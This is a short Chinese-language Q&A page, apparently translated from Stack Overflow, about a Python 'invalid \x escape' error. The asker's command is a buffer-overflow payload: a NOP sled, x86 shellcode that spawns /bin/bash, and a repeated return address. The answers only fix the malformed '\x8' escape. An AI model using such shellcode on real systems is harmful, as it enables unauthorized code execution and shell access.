ValueError: 无效的\x转义

15 投票
4 回答
33405 浏览
提问于 2025-04-16 22:58
python -c 'print "\x90" * 348 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x8\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x30\xd1\xff\xff" * 35'
ValueError: invalid \x escape

你知道是什么导致这个错误的吗?

4 个回答

4

\x8 是不正确的。

7

很可能是 \x8。每个转义字符应该由两个十六进制数字组成。

17

你在这个字符串里有 \x8\,把它改成 \x08

撰写回答